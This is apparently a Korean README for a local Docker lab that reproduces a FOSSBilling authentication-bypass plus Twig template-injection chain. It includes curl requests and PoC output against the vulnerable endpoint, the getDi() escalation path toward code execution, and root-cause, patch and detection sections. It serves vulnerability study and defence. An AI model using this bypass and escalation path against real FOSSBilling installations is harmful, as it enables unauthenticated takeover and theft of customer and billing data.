
FOSSBilling 사전 인증 RCE 체인(CVE-2026-27604 인증 우회 + CVE-2026-28496 Twig SSTI)을 재현하는 Docker 랩으로, Python PoC와 패치된 비교 대상이 포함되어 있습니다.
| CVE | 유형 | CVSS v4 | GHSA | 설명 |
|---|
| CVE-2026-27604 | 인증 우회 | 10.0 | GHSA-78x5-c8gw-8279 | API 역할 검사기에서 누락된 throw로 인해 관리자 엔드포인트가 인증되지 않은 호출자에게 노출됨 |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | string_render API를 통한 샌드박스 미적용 Twig 템플릿 렌더링 |
FOSSBilling은 무료 오픈소스 청구 및 클라이언트 관리 플랫폼입니다. 버전 0.5.4부터 0.7.2까지 영향을 받습니다. FOSSBilling 0.8.0은 두 취약점 모두 패치합니다.
이 랩은 두 FOSSBilling 버전을 비교합니다:
| 서비스 | FOSSBilling 버전 | 목적 | URL |
|---|---|---|---|
| vuln | 0.7.2 | 취약한 대상 | http://localhost:8081 |
| patched | 0.8.0 | 패치된 대상 | http://localhost:8082 |
이 로컬 랩에서 검증된 체인은 다음과 같습니다:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
패치된 대상(0.8.0)은 다음을 반환합니다:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
이 랩은 의도적으로 로컬 Docker 서비스로 범위가 제한되어 있습니다. 외부 시스템을 대상으로 하지 않으며, 웹 셸, 멀웨어, 지속성, 외부 콜백, 데이터베이스 덤핑, 파괴적인 페이로드를 포함하지 않습니다.
Pre-Auth RCE는 두 취약점이 함께 작동해야 합니다:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
이 랩은 안전한 산술 증명 `{{ 7*7 }}`을 사용하여 체인을 시연합니다. `getDi()`를 통한 전체 RCE 경로는 시연되지 않습니다.
## 검증된 사실
| 주장 | 증거 | 검증 방법 |
| ----- | -------- | ------------- |
| CVE-2026-27604는 FOSSBilling API 역할 처리의 인증 우회입니다. | GHSA-78x5-c8gw-8279: 역할 검사기에서 누락된 throw로 인해 /api/system/이 admin으로 해석될 수 있습니다. | PoC 실행: guest 경로는 거부되고, system 경로는 admin 결과를 반환합니다. |
| CVE-2026-28496은 FOSSBilling Twig 렌더링의 SSTI입니다. | GHSA-57mv-jm88-66jc: string_render가 샌드박스 없이 _tpl을 Twig createTemplate()에 전달합니다. | PoC 실행: 서버가 {{ 7*7 }}을 평가하고 49를 반환합니다. |
| 두 취약점 모두 FOSSBilling 0.5.4부터 0.7.2까지 영향을 미칩니다. | 공개 권고문이 영향을 받는 버전 범위를 명시합니다. | 취약 버전(0.7.2)과 패치된 버전(0.8.0) 대상 비교. |
| FOSSBilling 0.8.0은 두 취약점 모두 패치합니다. | 패치된 대상은 테스트된 엔드포인트에 대해 "Unknown API call"을 반환합니다. | 포트 8082에 대해 PoC 실행. |
| 인증 우회는 인증되지 않은 admin 접근을 제공합니다. | /api/guest/는 string_render를 거부하고, /api/system/은 인증 없이 결과를 반환합니다. | PoC의 Stage 1 실행. |
| SSTI는 공격자가 제어하는 템플릿을 평가합니다. | {{ 7*7 }}이 취약한 경로를 통해 49를 반환합니다. | PoC의 Stage 2 실행. |
| 체인은 Pre-Auth RCE를 가능하게 합니다. | 인증 우회 + SSTI = admin 컨텍스트를 가진 인증되지 않은 템플릿 주입. | 전체 체인 PoC 실행. |
| PoC는 HTTP 전용입니다. | poc.py는 HTTP POST 요청만 전송합니다. | poc/poc.py 검사. |
## 근본 원인 분석
### CVE-2026-27604: 인증 우회
FOSSBilling API는 URL 경로에서 역할을 해석합니다:```text
/api/:role/:module/:method
역할 검사기는 요청된 역할이 허용되는지 검증한다. 그러나 취약한 버전에서는 허용되지 않는 역할에 대한 예외가 인스턴스화되지만 결코 throw되지 않는다:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
예외가 절대 발생하지 않기 때문에 검증이 조용히 통과됩니다. `system` 역할은 cron 관리자 ID로 해석되어, 인증되지 않은 모든 호출자에게 전체 관리자 API 접근 권한을 부여합니다.
보안 영향:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
system 역할은 전체 관리자 권한을 가진 내부 cron 관리자 ID에 매핑됩니다.
string_render 관리자 API 메서드는 요청 데이터에서 _tpl을 받아 샌드박스 적용 없이 Twig 템플릿 렌더링 파이프라인으로 전달합니다:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
`renderString()` 메서드는 `createTemplateFromString()`으로 폴스루됩니다:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
핵심 문제: createTemplate($tpl)는 공격자가 제어하는 문자열로부터 Twig 템플릿을 생성하고 샌드박스 제한 없이 렌더링한다. 이 템플릿은 템플릿 컨텍스트 내의 객체들에 접근할 수 있으며, 여기에는 getDi()를 노출하는 guest API 핸들러도 포함된다.
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## 소스 패치 요약
FOSSBilling 0.8.0은 두 가지 취약점을 모두 해결합니다:
**인증 우회 수정 (CVE-2026-27604):**
역할 검사기가 이제 허용되지 않은 역할에 대해 예외를 올바르게 발생시킵니다.
**SSTI 수정 (CVE-2026-28496):**
템플릿 렌더링이 샌드박스 처리된 렌더러를 통해 라우팅됩니다:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
샌드박스 정책은 기본적으로 메서드 및 속성 접근을 차단합니다:```php $methods = []; $properties = [];
이 랩에서 테스트한 공개 API 경로의 경우, FOSSBilling 0.8.0은 테스트한 엔드포인트를 전혀 노출하지 않습니다:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
소스 수준 회귀 검사는 더 깊은 수정을 확인합니다:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## 랩 아키텍처```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| 서비스 | 구성 요소 | 버전 / 역할 |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 취약한 대상 |
| patched | FOSSBilling | 0.8.0 패치된 대상 |
| vuln-db | MariaDB | 취약한 대상용 데이터베이스 |
| patched-db | MariaDB | 패치된 대상용 데이터베이스 |
| installer-vuln | curl 사이드카 | 취약한 대상 자동 설치 |
| installer-patched | curl 사이드카 | 패치된 대상 자동 설치 |
기본 노출 서비스:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
설치 프로그램 사이드카는 `docker compose up` 중에 자동으로 실행됩니다. 이들은 로컬 일회용 자격 증명으로 두 FOSSBilling 대상을 초기화한 후 종료됩니다.
## 요구 사항
* Docker Desktop 또는 Docker Engine
* Docker Compose v2
* Python 3
* 첫 Docker 이미지 풀 중 인터넷 접속
Python 서드파티 패키지는 필요하지 않습니다. PoC는 Python 표준 라이브러리 모듈만 사용합니다.
## 빠른 시작
깨끗한 상태에서 랩을 시작하세요:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
서비스 상태 확인:```bash docker compose ps -a
예상 실행 서비스:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
설치 완료 시 예상되는 서비스(종료 코드 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
설치 프로그램 로그를 확인하세요:```bash
docker compose logs installer-vuln installer-patched
취약한 대상에 대해 체인 검증을 실행합니다:```bash python3 poc/poc.py --url http://localhost:8081
패치된 대상에 대해 체인 검증을 실행합니다:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
예시:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
PoC는 세 단계에 걸쳐 두 CVE를 모두 검증합니다:
1단계 — 인증 우회 (CVE-2026-27604): 게스트 API 경로와 시스템 API 경로를 비교하여 인증되지 않은 관리자 접근을 입증합니다.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**2단계 — SSTI (CVE-2026-28496):**
우회된 관리자 엔드포인트를 통한 서버 측 템플릿 평가를 확인합니다.```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
3단계 — 체인 평가: 결합된 체인 결과를 요약합니다.
PoC는 HTTP 전용입니다. Docker, Docker Compose, 셸 명령 또는 컨테이너 API를 호출하지 않습니다.
python3 poc/poc.py --url http://localhost:8081
## 감사합니다
이 프로젝트에 기여해 주신 모든 분들께 감사드립니다. 여러분의 노력이 이 도구를 더 나은 방향으로 발전시키고 있습니다.```text
============================================================
CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
Scope: authorized local lab target only
Target: http://localhost:8081
============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================
[1a] Guest role: POST /api/guest/system/string_render
status=400
error={'message': '...', 'code': ...}
→ Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render
status=200
result=49
→ Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
CVE-2026-27604 CONFIRMED
============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================
[2] POST /api/system/system/string_render
body={"_tpl": "{{ 7*7 }}"}
status=200
response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
CVE-2026-28496 CONFIRMED
============================================================
STAGE 3: Chain Assessment
============================================================
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED
CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
python3 poc/poc.py --url http://localhost:8082
## 감사합니다!
이 프로젝트에 기여하고 싶으시다면, 다음을 수행하실 수 있습니다:
- 버그 보고 또는 기능 요청을 위한 이슈 생성
- 개선 사항을 위한 풀 리퀘스트 제출
- 문서 개선 지원
- 다른 사람들과 도구 공유
## ⚠️ 법적 고지
이 도구는 **교육 및 윤리적 해킹 목적**으로만 사용되어야 합니다. 다음 사항을 반드시 준수해야 합니다:
- **허가받은 시스템**에서만 사용하세요
- **적용 가능한 모든 법률과 규정**을 준수하세요
- **무단 접근**은 불법이며 엄격히 금지됩니다
- 작성자는 **오용이나 손해**에 대해 책임을 지지 않습니다
**책임감 있게 사용하세요. 권한이 있는 시스템에서만 사용하세요.**
---
**면책 조항**: 이 도구는 교육 목적으로 제공됩니다. 자신의 시스템이나 명시적인 허가를 받은 시스템에서만 사용하세요. 무단 사용은 불법일 수 있으며, 사용자는 모든 결과에 대해 전적인 책임을 집니다.```text
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT
CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present
Target appears to be FOSSBilling >= 0.8.0
게스트 경로 (거부되어야 함):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
시스템 경로(인증 우회):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
취약한 대상으로부터의 시스템 경로 응답:```json {"result":"49","error":null}
### 패치된 비교```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
예상 패치 응답:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## 영향
이 체인은 청구 및 고객 관리 플랫폼인 FOSSBilling에 대해 인증되지 않은 원격 코드 실행을 가능하게 하며, 이 플랫폼은 다음을 저장할 수 있습니다:
* 고객 기록 및 개인 데이터
* 청구 데이터 및 결제 구성
* 서버 자격 증명 및 API 토큰
* 관리자 계정 및 세션
시연된 랩 페이로드는 무해합니다(`{{ 7*7 }}`). `getDi()` 및 DI 컨테이너를 통한 실제 영향 체인은 다음을 포함합니다:
* PDO를 통한 SQL 실행 (자격 증명 추출, 데이터 유출)
* 40개 이상의 애플리케이션 서비스 접근
* 확장 관리자 접근 (코드 실행)
* 애플리케이션 상태 수정
* 파일 쓰기 또는 명령 실행 경로와 연계될 경우 전체 서버 장악
DI 컨테이너에 도달하기 위해서는 단일 인증되지 않은 HTTP POST로 충분합니다. 이 PoC는 해당 경로를 시연하지 않습니다.
## 탐지 및 모니터링
의심스러운 요청 패턴:```text
POST /api/system/system/string_render
POST /api/system/* (any admin method via system role)
요청 본문 지표:```text _tpl, {{, }}, getDi, system, string_render
고신뢰도 탐지 규칙:```text
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output
권장 모니터링 조치:
/api/system/ 요청에 대한 접근 로그 검토_tpl이 포함된 요청 검토{{, }}, getDi)이 포함된 요청 검토/api/system/에 대한 성공 응답 발생 시 경고FOSSBilling을 버전 0.8.0 이상으로 업그레이드하십시오.
권장 단계:
/api/system/*에 대한 외부 접근 차단/api/system/ 요청에 대한 접근 로그 검토보안 엔지니어링 교훈:
docker compose ps -a
docker compose logs installer-vuln installer-patched
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
mkdir -p evidence python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt docker compose ps -a | tee evidence/docker-ps.txt docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
## 정리```bash
# Stop containers
docker compose down --remove-orphans
# Stop containers and remove volumes
docker compose down -v --remove-orphans
# Remove evidence files
rm -rf evidence/
이 랩은 로컬 보안 연구 및 통제된 데모용입니다.
소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 PoC를 실행하지 마십시오. 이 랩에서 실제 프로덕션 자격 증명, 고객 데이터 또는 API 키를 사용하지 마십시오.
의도된 범위는 다음으로 제한됩니다:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
랩은 다음을 시연하지 않습니다:
* getDi()를 통한 원격 명령 실행
* PDO를 통한 자격 증명 추출
* 데이터베이스 덤프
* 확장 프로그램 설치
* 웹 셸 업로드
* 지속성 또는 측면 이동
* 외부 콜백
* 랩 시스템이 아닌 시스템에 대한 공격
## 참고 자료
* **CVE-2026-27604** — FOSSBilling 인증 우회
https://www.cve.org/CVERecord?id=CVE-2026-27604
* **CVE-2026-28496** — FOSSBilling SSTI
https://www.cve.org/CVERecord?id=CVE-2026-28496
* **GHSA-78x5-c8gw-8279** — 인증 우회 권고
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
* **GHSA-57mv-jm88-66jc** — SSTI 권고
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* **NVD — CVE-2026-27604**
https://nvd.nist.gov/vuln/detail/CVE-2026-27604
* **NVD — CVE-2026-28496**
https://nvd.nist.gov/vuln/detail/CVE-2026-28496
* **VulnCheck** — FOSSBilling 인증 우회 및 Twig SSTI를 통한 비인증 RCE
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* **FOSSBilling GitHub 저장소**
https://github.com/FOSSBilling/FOSSBilling
* **FOSSBilling Docker 이미지**
https://hub.docker.com/r/fossbilling/fossbilling
* **Twig 문서 — 샌드박스 확장**
https://twig.symfony.com/doc/3.x/sandbox.html